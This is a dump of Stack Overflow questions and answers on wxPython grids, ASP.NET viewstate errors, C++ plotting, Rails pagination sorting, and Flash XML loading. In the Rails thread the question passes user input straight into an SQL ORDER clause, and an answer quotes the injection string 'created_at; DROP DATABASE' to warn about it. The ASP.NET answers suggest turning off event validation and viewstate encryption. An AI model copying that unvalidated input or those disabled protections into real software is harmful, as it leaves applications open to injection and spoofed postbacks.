"text": "<p>In <a href=\"http://wxpython.org/\" rel=\"nofollow noreferrer\">wxPython</a> you can use <a href=\"http://docs.wxwidgets.org/stable/wx_wxgrid.html#wxgrid\" rel=\"nofollow noreferrer\">wxGrid</a> for this as it supports virtual mode and custom cell renderers.</p>\n\n<p><a href=\"http://docs.wxwidgets.org/stable/wx_wxgridtablebase.html#wxgridtablebase\" rel=\"nofollow noreferrer\">This</a> is the minimal interface you have to implement for a wxGrid \"data provider\":</p>\n\n<pre><code>class GridData(wx.grid.PyGridTableBase):\n def GetColLabelValue(self, col):\n pass\n\n def GetNumberRows(self):\n pass\n\n def GetNumberCols(self):\n pass\n\n def IsEmptyCell(self, row, col):\n pass\n\n def GetValue(self, row, col):\n pass\n</code></pre>\n\n<p><a href=\"http://docs.wxwidgets.org/stable/wx_wxgridcellrenderer.html#wxgridcellrenderer\" rel=\"nofollow noreferrer\">This</a> is the minimal interface you have to implement for a wxGrid cell renderer:</p>\n\n<pre><code>class CellRenderer(wx.grid.PyGridCellRenderer):\n def Draw(self, grid, attr, dc, rect, row, col, isSelected):\n pass\n</code></pre>\n\n<p>You can find a working example that utilizes these classes in <a href=\"http://wxpython.org/download.php\" rel=\"nofollow noreferrer\">wxPython docs and demos</a>, it's called Grid_MegaExample.</p>\n"
},
{
"answer_id": 455191,
"author": "RSabet",
"author_id": 49219,
"author_profile": "https://Stackoverflow.com/users/49219",
"pm_score": 1,
"selected": false,
"text": "<p>Just for completeness: there is a <a href=\"http://xoomer.alice.it/infinity77/main/freeware.html#thumbnailctrl\" rel=\"nofollow noreferrer\">thumbnailCtrl</a> written in/for wxPython, which might be a good starting point.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215052",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29219/"
] |
What is the best choice for a Python GUI application to display large number of thumbnails, e.g. 10000 or more? For performance reasons such thumbnail control must support virtual items, i.e. request application for those thumbnails only which are currently visible to user.
|
In [wxPython](http://wxpython.org/) you can use [wxGrid](http://docs.wxwidgets.org/stable/wx_wxgrid.html#wxgrid) for this as it supports virtual mode and custom cell renderers.
[This](http://docs.wxwidgets.org/stable/wx_wxgridtablebase.html#wxgridtablebase) is the minimal interface you have to implement for a wxGrid "data provider":
```
class GridData(wx.grid.PyGridTableBase):
def GetColLabelValue(self, col):
pass
def GetNumberRows(self):
pass
def GetNumberCols(self):
pass
def IsEmptyCell(self, row, col):
pass
def GetValue(self, row, col):
pass
```
[This](http://docs.wxwidgets.org/stable/wx_wxgridcellrenderer.html#wxgridcellrenderer) is the minimal interface you have to implement for a wxGrid cell renderer:
```
class CellRenderer(wx.grid.PyGridCellRenderer):
def Draw(self, grid, attr, dc, rect, row, col, isSelected):
pass
```
You can find a working example that utilizes these classes in [wxPython docs and demos](http://wxpython.org/download.php), it's called Grid\_MegaExample.
|
215,056 |
<p>I just added asp.net calendar control in new page under sample folder in asp.net mvc beta application. when i execute the particaular page that i need and it shows the error following </p>
<p>Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.</p>
<p>that points to here . It's in site.master of asp.net mvc </p>
<pre><code><div id="logindisplay">
<% Html.RenderPartial("LoginUserControl"); %>
</div>
</code></pre>
<p>usually to avoid this error, we give </p>
<pre><code><pages validateRequest="false" enableEventValidation="false" viewStateEncryptionMode ="Never" >
</code></pre>
<p>but, it doesn't work for me.</p>
|
[
{
"answer_id": 215078,
"author": "splattne",
"author_id": 6461,
"author_profile": "https://Stackoverflow.com/users/6461",
"pm_score": 2,
"selected": false,
"text": "<p>Before reading further, please exclude the following preconditions:</p>\n\n<ol>\n<li>You aren't using a web farm.</li>\n<li>It appears when using built-in databound controls such as GridView, DetailsView or FormView which utilize “DataKeyNames”.</li>\n<li>It appears if you have a large page which loads slowly for any reason.</li>\n</ol>\n\n<p>If following preconditions are true and you click a postbacking control/link and the page hasn't loaded completely in client browser, you might get the \"Validation of ViewState MAC failed\" exception.</p>\n\n<p>When this happens, if you just try setting the <strong>page property \"EnableViewStateMac\" to false</strong>, it does not solve the problem, it just changes the error message in same navigation behavior:</p>\n\n<blockquote>\n <p>The state information is invalid for this page and might be corrupted.</p>\n</blockquote>\n\n<p>This exception appears because Controls using DataKeyNames <strong>require Viewstate to be encrypted</strong>. When Viewstate is encrypted (Default mode, Auto, is to encrypt if controls require that, otherwise not), Page adds field just before closing of the <form> tag. But this hidden field might not have been rendered to the browser with long-running pages, and if you make a postback before it does, the browser initiates postback without this field (in form post collection). End result is that if this field is omitted on postback, the page doesn't know that Viewstate is encrypted and causes the aforementioned Exception. I.E. page expects to be fully-loaded before you make a postback.</p>\n\n<p>And by the way similar problem is with event validation since __EVENTVALIDATION field is also rendered on the end of the form. This is a security feature that ensures that postback actions only come from events allowed and created by the server to help prevent spoofed postbacks. This feature is implemented by having controls register valid events when they render (as in, during their actual Render() methods). The end result is that at the bottom of your rendered <form> tag, you'll see something like this: . When a postback occurs, ASP.NET uses the values stored in this hidden field to ensure that the button you clicked invokes a valid event. If it's not valid, you get the exception above.</p>\n\n<p>The problem happens specifically when you postback before the EventValidation field has been rendered. If EventValidation is enabled (which it is, by default), but ASP.net doesn't see the hidden field when you postback, you also get the exception. If you submit a form before it has been entirely rendered, then chances are the EventValidation field has not yet been rendered, and thus ASP.NET cannot validate your click.</p>\n\n<p><strong>Workaround</strong></p>\n\n<p>Set <strong>enableEventValidation to false and viewStateEncryptionMode to Neve</strong>r as follows:</p>\n\n<pre><code><pages enableeventvalidation=\"false\" viewstateencryptionmode=\"Never\">\n</code></pre>\n\n<p>This has the unwanted side-effect of disabling validation and encryption. On some sites, this may be ok to do, but it isn't a best practice, especially in publicly facing sites.</p>\n\n<p>For more information and other workaround see this <a href=\"http://blogs.msdn.com/tom/archive/2008/03/14/validation-of-viewstate-mac-failed-error.aspx\" rel=\"nofollow noreferrer\">blog entry</a>.</p>\n"
},
{
"answer_id": 684142,
"author": "jrb",
"author_id": 82332,
"author_profile": "https://Stackoverflow.com/users/82332",
"pm_score": 0,
"selected": false,
"text": "<p>This happened to me just a few minutes ago. Luckily, I found <a href=\"http://www.dotneat.net/2008/12/13/ASPNETMVCValidationOfViewstateMACFailedError.aspx\" rel=\"nofollow noreferrer\">this blog post</a> on the subject. The upshot (for me, at least), was that I had two forms, one on the page and one on the control. </p>\n\n<p>I didn't need the one on the page, so I removed it, and the error went away.</p>\n"
},
{
"answer_id": 894988,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<pre><code>I have been struggling with this issue too since lasts few days and finally found the problem.\n\nThis error will show up in there are multiple <form> tags are being rendered on a page (be it html <form></form> or Html.BeginForm()).\nCheck the user controls being rendered, the content page section and also the Master page.\nMake sure there is only one form rendered on a page.\n\nThis should fix your problem, if the issue persists, check for the for submit buttons rendered on the page (<input type=\"submit\" …/>)\n\nCheers!\nMayank Srivastava\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215056",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29215/"
] |
I just added asp.net calendar control in new page under sample folder in asp.net mvc beta application. when i execute the particaular page that i need and it shows the error following
Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
that points to here . It's in site.master of asp.net mvc
```
<div id="logindisplay">
<% Html.RenderPartial("LoginUserControl"); %>
</div>
```
usually to avoid this error, we give
```
<pages validateRequest="false" enableEventValidation="false" viewStateEncryptionMode ="Never" >
```
but, it doesn't work for me.
|
Before reading further, please exclude the following preconditions:
1. You aren't using a web farm.
2. It appears when using built-in databound controls such as GridView, DetailsView or FormView which utilize “DataKeyNames”.
3. It appears if you have a large page which loads slowly for any reason.
If following preconditions are true and you click a postbacking control/link and the page hasn't loaded completely in client browser, you might get the "Validation of ViewState MAC failed" exception.
When this happens, if you just try setting the **page property "EnableViewStateMac" to false**, it does not solve the problem, it just changes the error message in same navigation behavior:
>
> The state information is invalid for this page and might be corrupted.
>
>
>
This exception appears because Controls using DataKeyNames **require Viewstate to be encrypted**. When Viewstate is encrypted (Default mode, Auto, is to encrypt if controls require that, otherwise not), Page adds field just before closing of the <form> tag. But this hidden field might not have been rendered to the browser with long-running pages, and if you make a postback before it does, the browser initiates postback without this field (in form post collection). End result is that if this field is omitted on postback, the page doesn't know that Viewstate is encrypted and causes the aforementioned Exception. I.E. page expects to be fully-loaded before you make a postback.
And by the way similar problem is with event validation since \_\_EVENTVALIDATION field is also rendered on the end of the form. This is a security feature that ensures that postback actions only come from events allowed and created by the server to help prevent spoofed postbacks. This feature is implemented by having controls register valid events when they render (as in, during their actual Render() methods). The end result is that at the bottom of your rendered <form> tag, you'll see something like this: . When a postback occurs, ASP.NET uses the values stored in this hidden field to ensure that the button you clicked invokes a valid event. If it's not valid, you get the exception above.
The problem happens specifically when you postback before the EventValidation field has been rendered. If EventValidation is enabled (which it is, by default), but ASP.net doesn't see the hidden field when you postback, you also get the exception. If you submit a form before it has been entirely rendered, then chances are the EventValidation field has not yet been rendered, and thus ASP.NET cannot validate your click.
**Workaround**
Set **enableEventValidation to false and viewStateEncryptionMode to Neve**r as follows:
```
<pages enableeventvalidation="false" viewstateencryptionmode="Never">
```
This has the unwanted side-effect of disabling validation and encryption. On some sites, this may be ok to do, but it isn't a best practice, especially in publicly facing sites.
For more information and other workaround see this [blog entry](http://blogs.msdn.com/tom/archive/2008/03/14/validation-of-viewstate-mac-failed-error.aspx).
|
215,110 |
<p>What is the best way to graph scatter plots in C++? </p>
<p>Do you write data to a file and use another tool? Is there a library like matplotlib in Python?</p>
|
[
{
"answer_id": 215112,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 2,
"selected": false,
"text": "<p>This is certainly not the best way but I usually write output files that can be read by <a href=\"http://www.r-project.org/\" rel=\"nofollow noreferrer\">R</a> and use this, along with an appropriate script, to plot the graphs.</p>\n"
},
{
"answer_id": 215117,
"author": "freespace",
"author_id": 8297,
"author_profile": "https://Stackoverflow.com/users/8297",
"pm_score": 6,
"selected": true,
"text": "<p>I always write out data and then using <a href=\"http://www.gnuplot.info/\" rel=\"noreferrer\">gnuplot</a> to create my graphs. It is by far the best way I have found of producing graphs in a variety of formats: eps, png, jpeg, xpm, you name it.</p>\n\n<p><code>gnuplot</code> will do scatter plot very easily. Provided the <code>x</code> and <code>y</code> values are in 2 space-separated columnss, then</p>\n\n<pre><code>plot \"data.txt\" using 1:2 \n</code></pre>\n\n<p>Will give you a quick scatter plot. Then you can adjust it and what not using other gnuplot commands. </p>\n\n<p>If you are involved in sciences, then learning <code>gnuplot</code> will be very valuable to you. It kicks the crap out of doing excel plots for sure and it eases the task of making plots to include in papers.</p>\n"
},
{
"answer_id": 215198,
"author": "David Segonds",
"author_id": 13673,
"author_profile": "https://Stackoverflow.com/users/13673",
"pm_score": 4,
"selected": false,
"text": "<p>If you are looking for a C++ library rather than I independent plotting tool like gnuplot, I would consider the following:</p>\n<ul>\n<li><a href=\"http://www.codecutter.net/tools/koolplot/byExample.html\" rel=\"noreferrer\">Koolplot</a></li>\n<li><a href=\"http://www.mps.mpg.de/dislin/\" rel=\"noreferrer\">dislin</a> (<a href=\"http://en.wikipedia.org/wiki/DISLIN\" rel=\"noreferrer\">Wikipedia article on dislin</a>)</li>\n</ul>\n<p>dislin seems to be the more interesting of the two. Here is a description extracted from the wikipedia article:</p>\n<blockquote>\n<p>DISLIN is a high-level and easy to use plotting library developed by Helmut Michels at the Max Planck Institute in Katlenburg-Lindau, Germany. Helmut Michels currently works as a mathematician and Unix system manager at the computer center of the institute.</p>\n<p>The DISLIN library contains routines and functions for displaying data as curves, bar graphs, pie charts, 3D-colour plots, surfaces, contours and maps. Several output formats are supported such as X11, VGA, PostScript, PDF, CGM, HPGL, SVG, PNG, BMP, PPM, GIF and TIFF.</p>\n<p>DISLIN is available for the programming languages Fortran 77, Fortran 90/95 and C. Plotting extensions for the languages Perl, Python and Java are also supported for most operating systems. The current version of DISLIN is 9.4, released in October 2008. The first version 1.0 was released in December 1986.</p>\n<p>The DISLIN software is free for non-commercial use.</p>\n</blockquote>\n"
},
{
"answer_id": 215206,
"author": "Dima",
"author_id": 13313,
"author_profile": "https://Stackoverflow.com/users/13313",
"pm_score": 2,
"selected": false,
"text": "<p>The problem here is that C++, unlike Java for example, does not have built-in GUI or graphics. If you want to generate graphs with C++ you would need to use a GUI library available for your OS. There are free GUI libraries, many cross-plaform such as Qt or GTK.</p>\n\n<p>However, as other people have pointed out, the easiest thing for you to do would be to save the data into a text file, and use another program to generate the graph. gnuplot is definitely a good choice. It comes standard with most linux distros, and you get for Windows under cygwin.</p>\n"
},
{
"answer_id": 215321,
"author": "Alex Coventry",
"author_id": 1941213,
"author_profile": "https://Stackoverflow.com/users/1941213",
"pm_score": 1,
"selected": false,
"text": "<p>If you're familiar with matplotlib, you can <a href=\"https://docs.python.org/3/extending/embedding.html\" rel=\"nofollow noreferrer\">embed</a> python in C/C++ applications. Depending on what you want it for, this might be a quick solution.</p>\n"
},
{
"answer_id": 215328,
"author": "Kibbee",
"author_id": 1862,
"author_profile": "https://Stackoverflow.com/users/1862",
"pm_score": 0,
"selected": false,
"text": "<p><a href=\"http://www.advsofteng.com/cdcpp.html\" rel=\"nofollow noreferrer\">Chart Director</a> has bindings for C++. I've used their .Net libraries, and I've been pretty happy with them. It's a pretty cheap library, and gives you the power to do all sorts of different charts.</p>\n"
},
{
"answer_id": 215393,
"author": "dmckee --- ex-moderator kitten",
"author_id": 2509,
"author_profile": "https://Stackoverflow.com/users/2509",
"pm_score": 3,
"selected": false,
"text": "<p>Very heavy solution: you could link against <A href=\"http://root.cern.ch/\" rel=\"noreferrer\">ROOT</A>, which will do just about anything you want:</p>\n\n<ul>\n<li>runs on Mac, Windows and Linux</li>\n<li>runs compiled or using the cint interperter</li>\n<li>output to a file in encapsulated postscript, PDF, gif, png...</li>\n<li>display to the screen using several different technologies</li>\n<li>serialize the data in an internal format that can be manipulated later</li>\n</ul>\n\n<p>Sure, its a bit much for most people, but it does do exactly what you asked for. I use it because I know it and it is already on my machines becase I'm that kind of physicist.</p>\n"
},
{
"answer_id": 640527,
"author": "oz10",
"author_id": 14069,
"author_profile": "https://Stackoverflow.com/users/14069",
"pm_score": 3,
"selected": false,
"text": "<p>Good old GNU, they have everything... </p>\n\n<p><a href=\"http://directory.fsf.org/project/plotutils/\" rel=\"noreferrer\">http://directory.fsf.org/project/plotutils/</a></p>\n"
},
{
"answer_id": 5846193,
"author": "Islam Yousry",
"author_id": 732966,
"author_profile": "https://Stackoverflow.com/users/732966",
"pm_score": 2,
"selected": false,
"text": "<p>Regards plotting in C++ for anyone who didn't do it yet. I will say what I did to plot Graphs in C++</p>\n\n<ol>\n<li><p>Download the zipped file \"gp443win32.zip\" from <a href=\"http://sourceforge.jp/projects/sfnet_gnuplot/downloads/gnuplot/4.4.3/gp443win32.zip/\" rel=\"nofollow noreferrer\">http://sourceforge.jp/projects/sfnet_gnuplot/downloads/gnuplot/4.4.3/gp443win32.zip/</a></p></li>\n<li><p>Extract it in \"C:\\Gnuplot\"\nthen I read \"C:\\Gnuplot\\gnuplot\\README.Windows\"\nand I got these information: </p></li>\n<li><p>I used Windows 7 ==> so you need to download \"winhlp32.exe\"... just search for it \"winhlp32.exe Windows 7\" in a search engine and go through the first link.</p></li>\n<li><p>Append to the \"Path\" Environment variable the path for binary folder which is \"C:\\Gnuplot\\gnuplot\\binary\"</p></li>\n<li><p>then I shutdown my computer and open it again. After I found that it didn't sense the change in the environment variables :D</p></li>\n<li><p>you need now to write a sample code to test your plotting ability :) \nso you can visit this link\n<a href=\"http://code.google.com/p/gnuplot-cpp/source/browse/#svn/trunk\" rel=\"nofollow noreferrer\">http://code.google.com/p/gnuplot-cpp/source/browse/#svn%2Ftrunk</a>\nto see the header file \"gnuplot_i.hpp\" and source file \"example.cc\".</p></li>\n</ol>\n\n<p>You will get many and many graphs, choose your appropriate graph, customize your core, and enjoy :)</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215110",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14069/"
] |
What is the best way to graph scatter plots in C++?
Do you write data to a file and use another tool? Is there a library like matplotlib in Python?
|
I always write out data and then using [gnuplot](http://www.gnuplot.info/) to create my graphs. It is by far the best way I have found of producing graphs in a variety of formats: eps, png, jpeg, xpm, you name it.
`gnuplot` will do scatter plot very easily. Provided the `x` and `y` values are in 2 space-separated columnss, then
```
plot "data.txt" using 1:2
```
Will give you a quick scatter plot. Then you can adjust it and what not using other gnuplot commands.
If you are involved in sciences, then learning `gnuplot` will be very valuable to you. It kicks the crap out of doing excel plots for sure and it eases the task of making plots to include in papers.
|
215,114 |
<p>I am using running a simple find all and paginating with willpaginate, but I'd also like to have the query sorted by the user. The first solution that came to mind was just use a params[:sort]</p>
<pre><code>http://localhost:3000/posts/?sort=created_at+DESC
@posts = Post.paginate :page => params[:page], :order => params[:sort]
</code></pre>
<p>But the problem with his approach is that the query is defaulting as sorting by ID and I want it to be created_at. </p>
<p>Is this a safe approach to sorting and is there a way to default to created_at?</p>
|
[
{
"answer_id": 215126,
"author": "Avdi",
"author_id": 20487,
"author_profile": "https://Stackoverflow.com/users/20487",
"pm_score": 2,
"selected": false,
"text": "<p>In general, the way to supply default values for Hash and Hash-like objects is to use <code>fetch</code>:</p>\n\n<pre><code>params.fetch(:sort){ :created_at }\n</code></pre>\n\n<p>A lot of people just use <code>||</code> though:</p>\n\n<pre><code>params[:sort] || :created_at\n</code></pre>\n\n<p>I prefer <code>fetch</code> myself as being more explicit, plus it doesn't break when <code>false</code> is a legitimate value.</p>\n"
},
{
"answer_id": 215145,
"author": "Rômulo Ceccon",
"author_id": 23193,
"author_profile": "https://Stackoverflow.com/users/23193",
"pm_score": 2,
"selected": false,
"text": "<p>The Ruby idiom to set a default would be:</p>\n\n<pre><code>@posts = Post.paginate :page => params[:page], :order => params[:sort] || \"created_at\"\n</code></pre>\n\n<p>But the approach isn't safe. The paginate method will not bother with a parameter like <code>\"created_at; DROP DATABASE mydatabase;\"</code>. Instead, you could use a dictionary of valid sort parameters (untested):</p>\n\n<pre><code>sort_params = { \"by_date\" => \"created_at\", \"by_name\" => \"name\" }\n\n@posts = Post.paginate :page => params[:page], :order => sort_params[params[:sort] || \"by_date\"]\n</code></pre>\n\n<p>So that the URI becomes:</p>\n\n<pre><code>http://localhost:3000/posts/?sort=by_date\n</code></pre>\n"
},
{
"answer_id": 215158,
"author": "Matt",
"author_id": 29228,
"author_profile": "https://Stackoverflow.com/users/29228",
"pm_score": 5,
"selected": true,
"text": "<p>I’d use a named scope for providing the default order (available since Rails 2.1).</p>\n\n<p>You’d add the scope in your Post model:</p>\n\n<pre><code>named_scope :ordered, lambda {|*args| {:order => (args.first || 'created_at DESC')} }\n</code></pre>\n\n<p>Then you can call:</p>\n\n<pre><code>@posts = Post.ordered.paginate :page => params[:page]\n</code></pre>\n\n<p>The example above will use the default order from the <code>named_scope</code> (<code>created_at DESC</code>), but you can also provide a different one:</p>\n\n<pre><code>@posts = Post.ordered('title ASC').paginate :page => params[:page]\n</code></pre>\n\n<p>You could use that with Romulo’s suggestion:</p>\n\n<pre><code>sort_params = { \"by_date\" => \"created_at\", \"by_name\" => \"name\" }\n@posts = Post.ordered(sort_params[params[:sort]]).paginate :page => params[:page]\n</code></pre>\n\n<p>If <code>params[:sort]</code> isn’t found in <code>sort_params</code> and returns <code>nil</code> then <code>named_scope</code> will fall back to using the default order.</p>\n\n<p><a href=\"http://railscasts.com/episodes/108-named-scope\" rel=\"noreferrer\">Railscasts</a> has some great info on named_scopes.</p>\n"
},
{
"answer_id": 216640,
"author": "Scott",
"author_id": 7399,
"author_profile": "https://Stackoverflow.com/users/7399",
"pm_score": 1,
"selected": false,
"text": "<p>I prefer this idiom:</p>\n\n<pre><code>@posts = Post.paginate :page=>page, :order=>order\n...\n\ndef page\n params[:page] || 1\nend\n\ndef order\n params[:order] || 'created_at ASC'\nend\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215114",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10258/"
] |
I am using running a simple find all and paginating with willpaginate, but I'd also like to have the query sorted by the user. The first solution that came to mind was just use a params[:sort]
```
http://localhost:3000/posts/?sort=created_at+DESC
@posts = Post.paginate :page => params[:page], :order => params[:sort]
```
But the problem with his approach is that the query is defaulting as sorting by ID and I want it to be created\_at.
Is this a safe approach to sorting and is there a way to default to created\_at?
|
I’d use a named scope for providing the default order (available since Rails 2.1).
You’d add the scope in your Post model:
```
named_scope :ordered, lambda {|*args| {:order => (args.first || 'created_at DESC')} }
```
Then you can call:
```
@posts = Post.ordered.paginate :page => params[:page]
```
The example above will use the default order from the `named_scope` (`created_at DESC`), but you can also provide a different one:
```
@posts = Post.ordered('title ASC').paginate :page => params[:page]
```
You could use that with Romulo’s suggestion:
```
sort_params = { "by_date" => "created_at", "by_name" => "name" }
@posts = Post.ordered(sort_params[params[:sort]]).paginate :page => params[:page]
```
If `params[:sort]` isn’t found in `sort_params` and returns `nil` then `named_scope` will fall back to using the default order.
[Railscasts](http://railscasts.com/episodes/108-named-scope) has some great info on named\_scopes.
|
215,115 |
<p>I have an old ASP.NET 1.1 site that I am maintaining. We are working with Google to place analytics code on all pages. Since I can't take advantage of master pages in 1.1, I have my pages include headers/footers/sidebars with User Controls.</p>
<p>What came to mind first is to place the JavaScript in my footer ascx control so it appears on every page. But I don't think I can link to a JavaScript file from a user control. </p>
<p>Any ideas on what I can do to get this js code placed on every page in my site?</p>
|
[
{
"answer_id": 215121,
"author": "Tomalak",
"author_id": 18771,
"author_profile": "https://Stackoverflow.com/users/18771",
"pm_score": 3,
"selected": false,
"text": "<p>What keeps you from simply referencing your script in the user control?</p>\n\n<pre><code><asp:SomeControl ID=\"SomeControl1\" runat=\"server>\n <script src=\"some.js\" type=\"text/javascript\"></script>\n</asp:SomeControl>\n</code></pre>\n\n<p>You could also do this:</p>\n\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n{\n Literal some_js = new Literal();\n some_js = \"<script type='text/javascript' src='some.js'></script>\";\n this.Header.Controls.Add(some_js);\n}\n</code></pre>\n\n<p><em>(Obviously, the second approach would still force you to modify the pages themselves, unless they inherit from a common parent you control.)</em></p>\n"
},
{
"answer_id": 215358,
"author": "Pradeep Kumar Mishra",
"author_id": 22710,
"author_profile": "https://Stackoverflow.com/users/22710",
"pm_score": 2,
"selected": true,
"text": "<p>Create a base page class and load the script in base page. Further inherit all pages from base page.</p>\n\n<p>Other way could be same as that suggested by Tomalak</p>\n\n<pre><code>HtmlGenericControl jscriptFile = new HtmlGenericControl();\njscriptFile.TagName = \"script\";\njscriptFile.Attributes.Add(\"type\", \"text/javascript\");\njscriptFile.Attributes.Add(\"language\", \"javascript\"); \njscriptFile.Attributes.Add(\"src\", ResolveUrl(\"myscriptFile.js\"));\nthis.Page.Header.Controls.Add(myJs);\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215115",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3047/"
] |
I have an old ASP.NET 1.1 site that I am maintaining. We are working with Google to place analytics code on all pages. Since I can't take advantage of master pages in 1.1, I have my pages include headers/footers/sidebars with User Controls.
What came to mind first is to place the JavaScript in my footer ascx control so it appears on every page. But I don't think I can link to a JavaScript file from a user control.
Any ideas on what I can do to get this js code placed on every page in my site?
|
Create a base page class and load the script in base page. Further inherit all pages from base page.
Other way could be same as that suggested by Tomalak
```
HtmlGenericControl jscriptFile = new HtmlGenericControl();
jscriptFile.TagName = "script";
jscriptFile.Attributes.Add("type", "text/javascript");
jscriptFile.Attributes.Add("language", "javascript");
jscriptFile.Attributes.Add("src", ResolveUrl("myscriptFile.js"));
this.Page.Header.Controls.Add(myJs);
```
|
215,132 |
<p>I have a ListCtrl that displays a list of items for the user to select. This works fine except that when the ctrl is not large enough to show all the items, I want it to expand downwards with a vertical scoll bar rather than using a horizontal scroll bar as it expands to the right.</p>
<p>The ListCtrl's creation:</p>
<pre><code>self.subjectList = wx.ListCtrl(self, self.ID_SUBJECT, style = wx.LC_LIST | wx.LC_SINGLE_SEL | wx.LC_VRULES)
</code></pre>
<p>Items are inserted using wx.ListItem:</p>
<pre><code>item = wx.ListItem()
item.SetText(subject)
item.SetData(id)
item.SetWidth(200)
self.subjectList.InsertItem(item)
</code></pre>
|
[
{
"answer_id": 215216,
"author": "Toni Ruža",
"author_id": 6267,
"author_profile": "https://Stackoverflow.com/users/6267",
"pm_score": 3,
"selected": true,
"text": "<p>Use the <a href=\"http://docs.wxwidgets.org/stable/wx_wxlistctrl.html#wxlistctrl\" rel=\"nofollow noreferrer\">wxLC_REPORT</a> style.</p>\n\n<pre><code>import wx\n\nclass Test(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None)\n self.test = wx.ListCtrl(self, style = wx.LC_REPORT | wx.LC_NO_HEADER)\n\n for i in range(5):\n self.test.InsertColumn(i, 'Col %d' % (i + 1))\n self.test.SetColumnWidth(i, 200)\n\n\n for i in range(0, 100, 5):\n index = self.test.InsertStringItem(self.test.GetItemCount(), \"\")\n for j in range(5):\n self.test.SetStringItem(index, j, str(i+j)*30)\n\n self.Show()\n\napp = wx.PySimpleApp()\napp.TopWindow = Test()\napp.MainLoop()\n</code></pre>\n"
},
{
"answer_id": 215335,
"author": "Toni Ruža",
"author_id": 6267,
"author_profile": "https://Stackoverflow.com/users/6267",
"pm_score": 1,
"selected": false,
"text": "<p>Try this:</p>\n\n<pre><code>import wx\n\nclass Test(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None)\n self.test = wx.ListCtrl(self, style = wx.LC_ICON | wx.LC_AUTOARRANGE)\n\n for i in range(100):\n self.test.InsertStringItem(self.test.GetItemCount(), str(i))\n\n self.Show()\n\napp = wx.PySimpleApp()\napp.TopWindow = Test()\napp.MainLoop()\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215132",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6266/"
] |
I have a ListCtrl that displays a list of items for the user to select. This works fine except that when the ctrl is not large enough to show all the items, I want it to expand downwards with a vertical scoll bar rather than using a horizontal scroll bar as it expands to the right.
The ListCtrl's creation:
```
self.subjectList = wx.ListCtrl(self, self.ID_SUBJECT, style = wx.LC_LIST | wx.LC_SINGLE_SEL | wx.LC_VRULES)
```
Items are inserted using wx.ListItem:
```
item = wx.ListItem()
item.SetText(subject)
item.SetData(id)
item.SetWidth(200)
self.subjectList.InsertItem(item)
```
|
Use the [wxLC\_REPORT](http://docs.wxwidgets.org/stable/wx_wxlistctrl.html#wxlistctrl) style.
```
import wx
class Test(wx.Frame):
def __init__(self):
wx.Frame.__init__(self, None)
self.test = wx.ListCtrl(self, style = wx.LC_REPORT | wx.LC_NO_HEADER)
for i in range(5):
self.test.InsertColumn(i, 'Col %d' % (i + 1))
self.test.SetColumnWidth(i, 200)
for i in range(0, 100, 5):
index = self.test.InsertStringItem(self.test.GetItemCount(), "")
for j in range(5):
self.test.SetStringItem(index, j, str(i+j)*30)
self.Show()
app = wx.PySimpleApp()
app.TopWindow = Test()
app.MainLoop()
```
|
215,139 |
<p>Can someone tell me how i can change the .xml file that a flash movie loads using c#. ie: i would like an ActionScript variable that defines the location of the flash movie. I would like to be able to change this variable using c# if possible.</p>
<p>i dont really know how it would look, but something like:</p>
<pre><code><object xmlpath='" + myCSharpVar + "'" ...></object>
</code></pre>
<p>I just starting this, but my ultimate goal is to create a .swf movie that can load an xml file that specifies images, etc. However i want to use the same .swf file in multiple places and only have to change a ref to what xml file it uses - and my Flash/ActionScript skills are very rusty.</p>
<p>To clear it up a bit, in AS you can do something like: </p>
<pre><code>loader.load( new URLRequest("IWantThisNameDynamic.xml") );
</code></pre>
<p>how can i define that xml file in my c# code?</p>
|
[
{
"answer_id": 215176,
"author": "Argelbargel",
"author_id": 2992,
"author_profile": "https://Stackoverflow.com/users/2992",
"pm_score": 2,
"selected": true,
"text": "<p>I'm quite sure you cannot \"create\" your own attributes for the object tag. At least not without consulting with the w3c ;-)</p>\n\n<p>Passing values to flash is done via the \"flashvar\"-param:</p>\n\n<p><pre><code>\n <object ...>\n <param name=\"flashvars\" value=\"&xmlpath=<path to xml>\"/>\n </object>\n</pre></code></p>\n\n<p>In the flash-movie you can now access the path to your xml via the \"xmlpath\"-variable.</p>\n"
},
{
"answer_id": 215556,
"author": "Philippe",
"author_id": 27219,
"author_profile": "https://Stackoverflow.com/users/27219",
"pm_score": 0,
"selected": false,
"text": "<p><strong>Edit:</strong> sorry, question was about ASP.NET</p>\n\n<p>If you were using an AxShockwaveFlash object in C#, you would set the variables this way:</p>\n\n<pre><code>AxShockwaveFlash movie; // already exists\nstring xmlPath = \"some path\";\nmovie.FlashVars = \"xmlPath=\" + xmlPath; // url-encoded variables\n</code></pre>\n\n<p>Then in AS2:</p>\n\n<pre><code>var xmlPath:String = _level0.xmlPath;\n</code></pre>\n\n<p>Or in AS3:</p>\n\n<pre><code>var xmlPath:String = loaderInfo.parameters.xmlPath;\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215139",
"https://Stackoverflow.com",
